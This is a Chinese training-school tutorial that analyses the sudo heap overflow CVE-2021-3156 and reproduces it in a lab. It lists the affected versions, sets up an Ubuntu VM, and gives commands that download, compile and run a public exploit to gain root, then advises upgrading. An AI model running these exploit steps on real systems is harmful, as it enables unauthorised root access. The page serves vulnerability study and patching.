网盾网络安全培训学校育,只培训技术精英
全国免费咨询电话: 15827351614
深入分析CVE-2021-3156 Sudo溢出漏洞

 漏洞概述

  2021年01月26日,sudo被披露存在一个基于堆的缓冲区溢出漏洞(CVE-2021-3156,该漏洞被命名为“Baron Samedit”),可导致本地权限提升。

  当在类Unix的操作系统上执行命令时,非root用户可以使用sudo命令来以root用户身份执行命令。

  由于sudo错误地在参数中转义了反斜杠导致堆缓冲区溢出,从而允许任何本地用户(无论是否在sudoers文件中)获得root权限,无需进行身份验证,且攻击者不需要知道用户密码。
 

  影响范围

  sudo 1.8.2 - 1.8.31p2

  sudo 1.9.0 - 1.9.5p1

 

  环境搭建

  本次环境使用ubuntu19.04版本

  1、官方下载地址:old-releases.ubuntu.com/releases/19.04/

  2、使用Vmware虚拟机安装最小安装即可。


 

  漏洞复现

  1、在终端输入sudo –version查看sudo版本,使用whoami查看当前用户

  2、使用GitHub上的exp进行漏洞利用,使用wget或git进行下载

  wget    hub.fastgit.org/blasty/CVE-2021-3156/archive/main.zip

  unzip main.zip

  3、进入解压的目录,使用make编译成可执行文件

  cd CVE-2021-3156-main/

  Make

  4、执行编译出来的文件后面加上ubuntu执行可以看到已经是root权限了(使用Debian的系统也可以)

  ./sudo-hax-me-a-sandwich ubuntu


 

  修复建议

  目前官方已在sudo新版本1.9.5p2中修复了该漏洞,请受影响的用户尽快升级版本进行防护。